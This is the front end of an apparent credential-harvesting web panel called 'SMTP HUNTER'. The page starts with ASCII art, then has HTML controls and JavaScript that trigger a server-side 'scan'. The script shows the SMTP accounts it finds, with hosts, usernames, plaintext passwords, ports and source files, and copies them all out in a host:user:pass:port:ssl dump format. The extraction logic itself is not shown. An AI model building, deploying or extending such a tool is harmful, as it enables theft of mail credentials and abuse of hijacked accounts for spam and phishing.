⣼⣿⣿⣿⣿⣿⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿
⣿⣿⣿⣿⣿⠇⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⢀⣠⠤⠶⠦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿
⣿⣿⣿⣿⣿⠀⢸⣿⣿⣿⣿⣿⡿⠛⠻⣿⡇⠘⠉⠀⠀⠀⠀⠈⢳⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⠀⠘⣿⣿⣿⣿⡿⡶⣳⡄⠹⡇⢀⠀⠀⠀⠀⠀⠲⢶⣛⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⠀⠠⣿⣿⣿⣿⡏⠴⣿⣷⠀⣇⠈⠓⣦⣴⣦⢄⣀⠀⠈⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⠴⠒⠚⠒⠲⢤⡀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⠀⠀⣹⣿⣿⣿⠁⢠⡟⢻⣆⣿⠀⠀⠙⢧⣍⠙⢿⣯⣶⣢⠈⢻⣷⡀⠀⠀⠀⠀⠀⢀⣠⣤⣶⡾⠛⠉⠉⠙⠒⠂⠀⠀⠀⠉⠲⠀⢸⣿⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣤⣼⣿⣿⣿⣿⡀⣿⠀⢸⡿⢻⠀⠀⠀⠀⠈⠑⠒⠽⠥⢬⣿⣤⡙⢿⡀⠀⠀⠀⢘⣿⠿⣛⣡⣴⣶⣶⣶⣄⣠⡤⠶⣶⡶⠞⠁⢀⡟⢁⡶⢷⠀⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⡟⠉⢹⣿⣿⣿⣷⡘⢧⣀⣷⣜⠀⠀⣀⠀⠀⣰⠀⠀⠀⠀⠀⠉⠀⠀⡇⠀⠀⠀⠀⠀⠐⠻⣿⣥⣀⣙⣟⡃⣀⣠⡾⠟⠀⠀⠀⡾⣰⣿⠷⣼⢸⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⡇⠀⢰⣿⣿⣿⣿⣿⣄⠙⣦⣽⡆⠀⠈⢷⣶⣿⣄⣀⠀⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣈⠁⠀⠀⠀⠀⣸⣿⠁⢹⣄⡀⢸⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣟⢀⣿⣿⣿⣿⣿⣿⣿⡄⣬⣝⣇⠀⠀⣸⣿⣿⣿⠋⠁⠀⠀⠀⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⠀⠀⠀⠀⢠⢏⡿⠀⣨⠏⢠⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣼⣼⠀⠘⠋⠙⠙⢿⡀⠀⠀⠀⢠⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡾⢹⠀⠀⠀⢀⡿⢋⣴⠞⣁⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⣾⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⢸⠀⠀⢀⣾⡶⠏⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠰⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⢿⡟⠀⠀⣾⣞⣹⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣙⢛⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⣄⠀⠀⠤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠹⣦⡀⠀⠻⣤⡀⠀⠀⠀⠀⠘⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢫⣾⠀⠘⣿⡄⠀⠈⢉⠛⠒⠶⠾⠧⣬⣥⣦⣤⣤⣤⣤⡴⠞⠉⠁⠀⣠⡾⠋⣹⣿⡿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠸⣿⡀⠀⠘⣿⣦⠀⠈⠑⣤⣀⣀⣀⠀⠀⠀⠀⢀⡴⠆⠀⠀⢀⣠⡾⠋⠀⣴⢹⡯⢿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠀⢀⣿⣇⠀⢹⣷⣄⠀⢸⣿⣧⠀⠀⠈⠻⠯⢭⣭⣿⡿⠟⠁⠀⠀⢀⣴⣿⣿⠆⠀⣸⣧⠟⠀⣾⡟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⠿⠿⢿⡿⠁⠀⠀⣾⠹⣿⣆⠀⠙⣿⣷⣄⣿⢻⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⢋⡼⠃⣠⣶⠟⠓⠀⣰⡟⣇⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⠟⠛⠉⠉⠀⠀⢠⡴⠏⠀⠀⠀⢠⣿⣄⠘⣿⣷⡸⠘⣿⣿⣿⣦⣿⣷⡀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⣠⣾⣵⣿⡿⠉⢀⣠⣾⡟⢸⡏⠀⠀⠀⠹⣮⣝⠛⠛⠿⠿⢿⣿⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠰⠋⠀⠀⠀⠀⠀⣸⣿⣷⡀⢈⣟⣿⣦⣿⣿⣿⣿⣿⣿⣿⣶⣦⣄⣀⣠⣶⣿⣷⣶⣿⣿⣿⣿⡿⣡⣷⣿⡿⠟⢂⣿⡇⠀⠀⠀⠀⠀⠙⢷⣄⠀⠀⠀⠀⠀⠈⠉
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣷⣿⣷⡀⠀⠀⣩⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⣠⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠈⠳⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣟⡟⢿⣿⣶⢦⣼⢥⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⡥⡀⠀⢴⣦⣿⢟⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡫⠀⠙⢿⣷⣯⡘⠂⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠻⠛⣓⣿⣶⣿⠟⠋⣲⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣷⣆⢤⣄⡙⠻⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣥⣴⣶⣾⣿⡿⠛⠁⠐⢸⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣶⣏⢿⣷⡆⣺⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠛⢉⣹⣶⣾⣆⣴⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣶⣾⣓⠊⡞⠿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢳⣯⣿⣟⣊⢀⣰⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣈⣛⠩⠭⠍⠉⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
        </pre>
        <h1 class="main-title">SMTP HUNTER</h1>
        <p class="subtitle">Professional SMTP Extraction System</p>
    </div>
    
    <div class="controls">
        <button class="btn btn-primary" onclick="startScan()">Start Scan</button>
        <button class="btn btn-success" onclick="copyAll()" style="display:none" id="btnCopy">Copy All</button>
        <button class="btn btn-danger" onclick="clearAll()">Clear Results</button>
    </div>
    
    <div class="loading" id="loading">
        <div class="spinner"></div>
        <div class="progress">
            <div class="progress-bar" id="progressBar">0%</div>
        </div>
        <div class="status-text" id="statusText">Processing...</div>
    </div>
    
    <div class="stats" id="stats">
        <div class="stats-grid" id="statsGrid"></div>
    </div>
    
    <div class="results" id="results">
        <div class="empty-state">
            <h3>Ready to Scan</h3>
            <p>Click "Start Scan" to begin the process</p>
        </div>
    </div>
</div>

<script>
let scanning=false;let allAccounts=[];function startScan(){if(scanning){alert('Scan already in progress');return;}scanning=true;document.getElementById('loading').classList.add('active');document.getElementById('stats').classList.remove('active');document.getElementById('results').innerHTML='';document.getElementById('btnCopy').style.display='none';simulateProgress();fetch(window.location.href,{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=start_scan'}).then(response=>response.json()).then(data=>{scanning=false;document.getElementById('loading').classList.remove('active');displayResults(data);}).catch(error=>{scanning=false;document.getElementById('loading').classList.remove('active');alert('Error:'+error.message);console.error('Error:',error);});}function simulateProgress(){let progress=0;const progressBar=document.getElementById('progressBar');const statusText=document.getElementById('statusText');const interval=setInterval(()=>{if(!scanning){clearInterval(interval);progressBar.style.width='100%';progressBar.textContent='100%';statusText.textContent='Complete';return;}progress+=Math.random()* 8;if(progress>95)progress=95;progressBar.style.width=progress+'%';progressBar.textContent=Math.round(progress)+'%';statusText.textContent='Processing...';},600);}function displayResults(data){const statsDiv=document.getElementById('stats');const statsGrid=document.getElementById('statsGrid');const resultsDiv=document.getElementById('results');allAccounts=data.accounts;statsDiv.classList.add('active');statsGrid.innerHTML=`<div class="stat-card"><div class="number">${data.stats.accounts_found}</div><div class="label">Accounts Found</div></div><div class="stat-card"><div class="number">${data.stats.execution_time}s</div><div class="label">Execution Time</div></div>`;if(data.accounts.length===0){resultsDiv.innerHTML=`<div class="empty-state"><h3>No Results Found</h3><p>The scan completed but no accounts were found</p></div>`;return;}document.getElementById('btnCopy').style.display='inline-block';let html=`<div class="results-header"><h2>Results(${data.accounts.length})</h2></div>`;data.accounts.forEach((account,index)=>{html+=`<div class="account-card"><div class="account-header"><div class="account-number">#${index+1}</div><div class="account-type">${escapeHtml(account.type || 'SMTP')}</div></div><div class="account-info">${escapeHtml(account.host)}:${escapeHtml(account.user)}:${escapeHtml(account.pass)}:${escapeHtml(account.port)}:${escapeHtml(account.ssl)}</div><div class="account-details"><div class="detail-item"><div class="detail-label">Host</div><div class="detail-value">${escapeHtml(account.host)}</div></div><div class="detail-item"><div class="detail-label">Username</div><div class="detail-value">${escapeHtml(account.user)}</div></div><div class="detail-item"><div class="detail-label">Password</div><div class="detail-value">${escapeHtml(account.pass)}</div></div><div class="detail-item"><div class="detail-label">Port</div><div class="detail-value">${escapeHtml(account.port)}</div></div><div class="detail-item"><div class="detail-label">Encryption</div><div class="detail-value">${escapeHtml(account.ssl).toUpperCase()}</div></div><div class="detail-item"><div class="detail-label">From</div><div class="detail-value">${escapeHtml(account.from)}</div></div></div><div class="account-source">Source:${escapeHtml(account.source)}</div></div>`;});resultsDiv.innerHTML=html;}function copyAll(){if(allAccounts.length===0){alert('No accounts to copy');return;}let text='';allAccounts.forEach(acc=>{text+=`${acc.host}:${acc.user}:${acc.pass}:${acc.port}:${acc.ssl}\n`;});navigator.clipboard.writeText(text).then(()=>{alert(`Copied ${allAccounts.length}accounts to clipboard`);}).catch(err=>{const textarea=document.createElement('textarea');textarea.value=text;document.body.appendChild(textarea);textarea.select();document.execCommand('copy');document.body.removeChild(textarea);alert(`Copied ${allAccounts.length}accounts`);});}function clearAll(){document.getElementById('results').innerHTML=`<div class="empty-state"><h3>Ready to Scan</h3><p>Click "Start Scan" to begin the process</p></div>`;document.getElementById('stats').classList.remove('active');document.getElementById('btnCopy').style.display='none';allAccounts=[];}function escapeHtml(text){const div=document.createElement('div');div.textContent=text;return div.innerHTML;}
</script>
</body>
</html>